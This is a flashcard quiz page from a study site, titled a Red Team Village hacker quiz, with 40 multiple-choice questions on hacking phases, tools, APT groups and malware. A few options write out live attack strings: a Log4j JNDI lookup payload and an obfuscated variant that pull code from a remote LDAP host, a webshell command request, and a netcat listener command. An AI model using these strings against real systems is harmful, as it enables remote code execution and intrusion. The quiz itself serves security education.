stud
bud
Sign up
Log in
Home
Library
Explore
SAT
More
Red Team Village & DCNextGen Hacker Quiz Flashcards | StudBud
Explore
/
Red Team Village & DCNextGen Hacker Quiz
Red Team Village & DCNextGen Hacker Quiz
40 terms
·
StudBud Administration
·
44 plays
Imported from external platform
Flashcards
40 cards
F
Practice quiz
P
Host live
L
Questions
40
Answers
1
Which phase involves removing evidence of a hack?
Covering tracks
Gaining access
Maintaining access
Scanning
2
What is the primary goal of an Advanced Persistent Threat (APT)?
Long-term, targeted attack with continuous access
Disrupting services
Quick data exfiltration
Gaining administrative access
3
Which tool is widely used for password cracking?
Nessus
Nmap
John the Ripper
Wireshark
4
What is the primary purpose of scanning in the hacking methodology?
To cover tracks
To gather information about target systems
To maintain access
To gain unauthorized access
5
What is a common method of maintaining access to a compromised system?
Performing reconnaissance
Installing a backdoor
Using social engineering
Scanning for vulnerabilities
6
What is a honeypot?
A tool for password cracking
A vulnerability scanner
A decoy system designed to attract and detect attackers
A type of firewall
7
What tool is this ascii art from?
mimikatz
secretsdump.py
john the ripper
BloodHound
8
What is a keylogger?
A type of firewall
A device or software that records keystrokes
A tool used for network scanning
A vulnerability scanner
9
Which APT was recently accused/sanctioned for targeting US/UK Politicians?
MRVL/Avengers
Fancy Bear/APT28/FrozenLake
Wuhan XRZ/APT31/Zirconium
Gallium/GraniteTyphoon
10
Which of the following is a common method to secure passwords?
Using weak encryption
Storing them in plain text
Hashing with a strong algorithm
Sharing them with trusted individuals
11
Which of the following is an example of social engineering?
Buffer overflow
SQL injection
Port scanning
Phishing email
12
What is the purpose of a penetration test?
To disrupt services
To perform social engineering
To find and exploit vulnerabilities
To identify weakness in defenses which attackers could take advantage of
13
What does OSINT stand for?
Online Security Information Network
Open Source Internal Network Tracking
Open Source Intelligence
Operational Security Intelligence Network
14
What is an example of a physical security attack?
Cross-Site Scripting (XSS)
Tailgating
SQL injection
Phishing
15
Which of the following request payloads is likely to successfully test for log4j vulnerability?
192.168.2.1/upload.action?name="Upload"&Name="uPload"
${${::-j}${::-n}${::-d}:${::-a}${::-p}://{{/192.168.1.2:1389/disbetheans}}}
192.168.2.1/heartb/webshell.jsp?cmd=id
${jndi:ldap://192.168.1.2:1389/disbetheanswer}
16
Which of the following is a passive reconnaissance technique?
Network sniffing
Google Dorking
Port scanning
Social engineering
17
What does the term "zero-day" refer to?
A vulnerability that is already patched
A type of network scanner
A vulnerability that is publicly known but not yet patched
A vulnerability that is not publicly known and not yet patched
18
What type of attack exploits a vulnerability in a system to gain unauthorized access?
Man-in-the-Middle (MitM)
Phishing
Exploitation
Denial of Service (DoS)
19
What is the first step in the hacking process?
Reconnaissance
Scanning
Gaining access
Maintaining access
20
Which of the following is a method of data exfiltration?
Installing a backdoor
Performing privilege escalation
Sending data over DNS
Network scanning
21
What is the purpose of privilege escalation?
To scan for vulnerabilities
To elevate access rights
To gain initial access to a system
To install malware
22
What is this graphic related to?
FBI
WannaCry
AIDS Trojan
CryptoLocker
23
What does the acronym C2 stand for in the context of hacking?
Command and Control
Control and Coordination
Communication and Command
Cybersecurity and Compliance
24
What is the purpose of a vulnerability scanner?
To find and report vulnerabilities in systems
To record network traffic
To perform social engineering attacks
To disrupt network services
25
To analyze a pcap file, you'd use:
Udpdump
Wirecat
Zshark
Wireshark
26
Which tool is known for creating and managing exploits?
Nmap
Wireshark
Burp Suite
Metasploit
27
If you were to see the following in a packet capture, what would you expect was happening?
SQL injection
Cross-site scripting
XML external entity injection
Command injection
28
What is the goal of a Denial of Service (DoS) attack?
To perform reconnaissance
To gain administrative access
To steal sensitive information
To disrupt the normal functioning of a service
29
Which APT is also known as the Guardians of Peace?
OilRig/APT34/Helix Kitten
Lazarus Group/APT38/DiamondSleet
Cozy Bear/APT29/Nobelium
RTV/RedTeamVIllage
30
Which attack involves redirecting traffic to a malicious website?
SQL injection
Phishing
DNS spoofing
Man-in-the-Middle (MitM)
31
To crack a list of hashes, you'd use:
kahn
Hashcat
aircrack-ng
Wireshark
32
In the context of web application security, what does XSS stand for?
Cross-Server Scripting
Cross-Site Scripting
Extended Site Security
External Site Scripting
33
You have a sha512crypt hash, what hashcat hash-type number would you use?
1400
1800
500
1000
34
Which protocol is commonly targeted in Man-in-the-Middle attacks?
FTP
SSH
HTTP
HTTPS
35
Which tool is commonly used for network scanning?
Wireshark
Burp Suite
Nmap
Metasploit
36
Which tool is primarily used for network traffic analysis?
Nessus
Metasploit
Wireshark
John the Ripper
37
What virus is famously associated with attacks against Saudi Arabia?
Shamoon
Petya
Stuxnet
Iloveyou
38
what netcat command will accept a connection from 192.168.2.3 on port 911
nc -zv 192.168.2.3
nc://192.168.2.3:911
nc -nlvp 911
nc 192.168.2.3 911
39
What is SQL injection?
An attack that inserts malicious SQL code into a query
A type of phishing attack
A technique used to bypass firewalls
A method for network scanning
40
Which APT was known for the 2014 Sony and 2017 WannaCry Attacks?
Lazarus Group/APT38/DiamondSleet
Sandstorm/Darude
Cozy Bear/APT29/Nobelium
Lapsus$/Dev0537/StraberryTempest
